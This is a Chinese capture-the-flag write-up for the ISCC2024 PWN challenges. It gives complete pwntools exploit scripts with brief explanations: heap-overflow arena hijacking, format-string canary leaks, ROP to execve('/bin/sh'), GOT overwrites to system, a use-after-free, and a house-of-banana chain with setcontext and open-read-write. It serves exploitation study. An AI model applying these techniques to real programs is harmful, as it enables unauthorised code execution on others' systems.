ISCC2024 WP

PWN:

shopping:

这里有个要注意的点,那就是如果第一次填充堆块没填满,那第二次填充堆块就可以溢出。

完整exp:

from pwn import*
p=process('./shopping18')
system_plt=0x400978
 
def alloc(size,num,content1=b'',content2=b''):
    p.sendlineafter(b"Action:",b'1')
    p.sendlineafter(b"Item ID:",str(size).encode())
    p.sendlineafter(b"Quantity:",str(num).encode())
    if content1 == b'':
      p.sendlineafter(b"Add gift message? (0/1): ",b'0')
    else:
      p.sendlineafter(b"Add gift message? (0/1): ",b'1')
      p.sendafter(b"Message: ",content1)
      sleep(0.2)
      p.send(content2)
 
 
p.sendlineafter(b"Enter the password:",b"I'm ready for shopping")
for i in range(12):
    alloc(0x4000,1000,b'a'*0x4000)
payload=b'a'*0x50+p64(0x200000000)+10*p64(0x60201d)
alloc(0x4000,262,b'a'*0x3FF0,payload)
payload=b'/bin/sh'.ljust(0xB,b'\x00')+p64(system_plt)
alloc(0x60,0,payload.ljust(0x60, b'a'))
p.interactive()

解释一下,刚开始申请1000个0x4000大小的堆块是根据题目能一次申请的最大数量来申请的,这里要注意,一般线程arena是在我们所创建的堆块之前的,所以我们没有办法覆盖,但是在glibc2.27中当我们将堆块都申请完了之后,程序就会在我们的堆块之前再mmap一个线程arena,我们可以劫持这个线程arena。这里的1000个0x4000堆块和下面的262个0x4000堆块都是为了接近线程arena。

然后在达到线程arena之后,维持0x200000000原有数据,在它之后覆盖目标地址。

这样fastbin就会出现目标地址的堆块了。

然后申请出来,将0x602038地址覆盖为system,将rbp+8处覆盖为/bin/sh,就可以getshell了。

miao:

这里有格式化字符串漏洞,而且程序遗留了很多可利用的汇编,而且程序给了/bin/sh字符串。所以考虑用系统调用。32位系统调用寄存器传参的顺序是ebx,ecx,edx等,eax用于存储系统调用号。我这里尝试用了orw,但没有成功。

完整exp:

from pwn import*
context(log_level='debug',arch='i386')
p=process('./miao')
p=remote('182.92.237.102',10015)
mprotect=0x806E3D0
main=0x80489D1
bss=0x80EBA28
gets=0x804F3B0
puts=0x804F530
reads=0x806D8FF
mmap=0x806E2D0
open=0x806D88F
writes=0x806D96F
ret=0x080481b2
pop_eax=0x080b8666
pop_ebx_edx=0x0806f309
pop_ecx=0x080def3d
sh=0x80BB7C8
int80=0x0806cf83
#6
 
payload=b'%31$p'
p.sendlineafter(b'Would you like to say something to it?',payload)
p.recvuntil(b'0x')
canary=int(b'0x'+p.recv(8),16)
print(hex(canary))
payload=b'a'*(0x70-0xc)+p32(canary)+b'a'*0xc+p32(pop_ebx_edx)+p32(sh)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_eax)+p32(11)+p32(int80)
p.sendlineafter(b'likes you',payload)
 
p.interactive()

Your_program:

这里有格式化字符串漏洞,但只允许我们输入32个字节,所以要多次利用修改。

完整exp:

from pwn import*
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=process('./program')
p=remote('182.92.237.102',10032)
free_got=0x403598
puts_got=0x4035A8
printf_got=0x4035B0
 
def show(payload):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'hello',payload)
def llocfree(payload):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'hello',payload)
 
p.sendlineafter(b'Enter key:',b'A'*28)
p.sendlineafter(b'tell me your name:',b'aa')
payload=b'%7$saaaa'+p64(printf_got)
show(payload)
p.recvuntil(b'\n')
printf_addr=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
print("printf_addr:"+hex(printf_addr))
libc=LibcSearcher('printf',printf_addr)
libcbase=printf_addr-libc.dump('printf')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
payload='%'+str(system&0xffff).encode()+'c%8$hn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(free_got)
show(payload)
print("payload:"+payload)
payload='%'+str((system>>16)&0xffff).encode()+'c%8$hn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(free_got+2)
show(payload)
payload='%'+str((system>>32)&0xffff).encode()+'c%8$hn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(free_got+4)
show(payload)
llocfree(b'/bin/sh\x00')
p.interactive()
#6

因为题目没有给libc,所以我这里用libcsearcher来找libc。

上面的是python2的脚本,python3的是下面这个,没有什么不一样的,就是python3不能字节串和字符串共存,所以要统一改为字节串或字符串。


from pwn import*
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=process('./program')
p=remote('182.92.237.102',10032)
free_got=0x403598
puts_got=0x4035A8
printf_got=0x4035B0
 
def show(payload):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'hello',payload)
def llocfree(payload):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'hello',payload)
 
p.sendlineafter(b'Enter key:',b'A'*28)
p.sendlineafter(b'tell me your name:',b'aa')
payload=b'%7$saaaa'+p64(printf_got)
show(payload)
p.recvuntil(b'\n')
printf_addr=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
print("printf_addr:"+hex(printf_addr))
libc=LibcSearcher('printf',printf_addr)
libcbase=printf_addr-libc.dump('printf')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
payload=b'%'+bytes(str(system&0xffff).encode())+b'c%8$hn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(free_got)
show(payload)
print(b"payload:"+payload)
payload=b'%'+bytes(str((system>>16)&0xffff).encode())+b'c%8$hn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(free_got+2)
show(payload)
payload=b'%'+bytes(str((system>>32)&0xffff).encode())+b'c%8$hn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(free_got+4)
show(payload)
llocfree(b'/bin/sh\x00')
p.interactive()
#6

ISCC_U:

这里的put堆块内容的是利用储存在堆块里的相关地址来实现的,可以利用这一点

完整exp:


from pwn import*
p=process('./isccu')
p=remote('182.92.237.102',10016)
puts_got=0x804C024
putchunk=0x80492B6
puts_plt=0x8049150
printf_plt=0x8049100
 
def alloc(size,content):
    p.sendlineafter(b'your choice :',str(1))
    p.sendlineafter(b'Note size :',str(size))
    p.sendafter(b'Content :',content)
def free(index):
    p.sendlineafter(b'your choice :',str(2))
    p.sendlineafter(b'Index :',str(index))
def show(index):
    p.sendlineafter(b'your choice :',str(3))
    p.sendlineafter(b'Index :',str(index))
 
alloc(0x80,b'aa')
alloc(0x80,b'aa')
free(0)
free(1)
alloc(0x8,p32(putchunk)+p32(puts_got))
show(0)
puts_addr=u32(p.recvuntil(b'\xf7')[-4:])
libc=ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
#libc=ELF('/home/pwn/glibc-all-in-one/libs/2.31-0ubuntu9_i386/libc-2.31.so')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
gadget=[0xc890b,0x1421b3,0x1421b4]
onegadget=libcbase+gadget[2]
print(hex(system))
print(hex(ord('`')))
free(2)
alloc(0x8,p32(system+1)+b';sh')
show(0)
p.interactive()

补充:这里system的参数中包含有反引号`会导致执行错误,而因为程序的原因,system会把system的地址也当做参数,而system的完整偏移的低位正好是0x60和反引号的ascll码一样,会被当成反引号,所以要+1

Flag:

这里的help.txt貌似要一次输入完整,所以没有考虑解出这个

完整exp:


from pwn import*
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
p=process('./Flag')
p=remote('182.92.237.102',10012)
fopen_plt=0x8049170
main=0x80494C2
r=0x804A010
read_plt=0x80490F0
write_plt=0x8049150
bss=0x804C040
puts_got=0x804C01C
fclose_got=0x804C014
printf_got=0x804C010
 
payload=b'%19$p'
p.sendlineafter(b'the content?',payload)
p.recvuntil(b'0x')
canary=int(b'0x'+p.recv(8),16)
payload=b'a'*(0x94-0xc)+p32(canary)+b'a'*0xc+p32(write_plt)+p32(main)+p32(1)+p32(printf_got)+p32(0x4)
p.sendlineafter(b'Input:',payload)
printf_addr=u32(p.recvuntil(b'\xf7')[-4:])
libc=LibcSearcher('printf',printf_addr)
libcbase=printf_addr-libc.dump('printf')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
 
payload=b'%19$p'
p.sendlineafter(b'the content?',payload)
p.recvuntil(b'0x')
canary=int(b'0x'+p.recv(8),16)
payload=b'a'*(0x94-0xc)+p32(canary)+b'a'*0xc+p32(system)+p32(0xdeadbeef)+p32(binsh)
p.sendlineafter(b'Input:',payload)
 
p.interactive()

我这里直接用LibcSearcher来解出来的,getshell之后发现那个help.txt实际上是一个libc版本的提示

 

easyshell:

flagis那里有可利用的格式化字符串漏洞

完整exp:


from pwn import*
context(log_level='debug')
p=process('./easyshell')
p=remote('182.92.237.102',10011)
 
payload=b'flagis\x00%17$p'
p.sendlineafter(b'>>',payload)
p.recvuntil(b'0x')
main254=int(b'0x'+p.recv(12),16)
print("main+254="+hex(main254))
main_addr=main254-254
print("main="+hex(main_addr))
cbase=main_addr-0x1422
backdoor=cbase+0x1291
print("backdoor="+hex(backdoor))
puts_got=cbase+0x3F90
payload=b'flagis\x00%15$p'
p.sendlineafter(b'>>',payload)
p.recvuntil(b'0x')
canary=int(b'0x'+p.recv(16),16)
print(hex(canary))
payload=b'a'*0x38+p64(canary)+b'a'*8+p64(backdoor)
p.sendlineafter(b'>>',payload)
p.sendlineafter(b'>>',b'exit')
 
p.interactive()
#8

chaos:

这里满足条件就可以getshell了,没什么知识点

完整exp:

from pwn import*
#p=process('./chaos')
p=remote('182.92.237.102',10010)
 
def alloc(size,content):
    p.sendlineafter(b'Choice:',str(1))
    p.sendlineafter(b'Please Input Size:',str(size))
    p.sendlineafter(b'Content of Chaos!:',str(content))
def free(index):
    p.sendlineafter(b'Choice:',str(2))
    p.sendlineafter(b'Please Input index:',str(index))
def edit(index):
    p.sendlineafter(b'Choice:',str(3))
    p.sendlineafter(b'Please Input index:',str(index))
def show(index):
    p.sendlineafter(b'Choice:',str(4))
    p.sendlineafter(b'Please Input index:',str(index))
def getshell(size,content):
    p.sendlineafter(b'Choice:',str(5))
    p.sendlineafter(b'Please Input Chunk size :',str(size))
    p.sendlineafter(b'Please Input Content :',str(content))
 
alloc(0x68,'Flag')
getshell(0x68,'Flag')
p.interactive()

heapheap:

delete存在uaf漏洞,直接用house of banana。

详细去看glibc2.35 CTFPwn高版本下的堆块利用-CSDN博客

完整exp:

from pwn import*
context(arch='amd64')
p=process('./heapheap')
 
def alloc(index,size):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())
def show(index):
    p.sendlineafter(b'Your choice:\n', b'2')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.recvline()
def edit(index,content):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b"index:", str(index).encode())
    p.sendafter(b"context:",content)
def free(index):
    p.sendlineafter(b'Your choice:', b'4')
    p.sendlineafter(b"index:\n", str(index).encode())
 
alloc(0,0x428)
alloc(1,0x500)
alloc(2,0x418)
free(0)
alloc(3,0x500)
show(0)
fd=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('./libc-2.31.so')
libcbase=fd-0x430-0x30-libc.sym['__malloc_hook']
success("libcbase="+hex(libcbase))
payload=b'a'*0x10
edit(0,payload)
show(0)
p.recv(0x10)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x290
rtld_global=libcbase+0x228060-0x6000
free(2)
chunk_base=heapbase+0xbd0
print("l_next="+hex(rtld_global+0x16e0))
print("l_real="+hex(chunk_base))
print("l-info[26]="+hex(chunk_base+0x110))
print("l-info[27]="+hex(chunk_base+0x110+0x20))
print("rsp="+hex(chunk_base+0x1f8))
print("setcontext_3d="+hex(libcbase+libc.sym['setcontext']+0x3d))
print("pop_rdi="+hex(libcbase+0x23b6a))
print("chunkbase="+hex(chunk_base))
print("read="+hex(libc.sym['read']))
payload=p64(fd)*2+p64(oneheap)+p64(rtld_global-0x20)
edit(0,payload)
alloc(4,0x500)
pop_rdi=libcbase+0x23b6a
pop_rsi=libcbase+0x2601f
pop_rdx=libcbase+0x119431
setcontext_3d=libcbase+libc.sym['setcontext']+0x3d
l_next=rtld_global+0x16e0
 
link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29]
link_map+=b"flag\x00\x00\x00\x00"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) 
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2,link_map)
p.sendlineafter(b'Your choice:',b'5')
flag_addr = chunk_base+0x130
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(libcbase+libc.sym['open'])
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['read'])
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['write'])
p.send(orw)
p.interactive()

  • 9
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值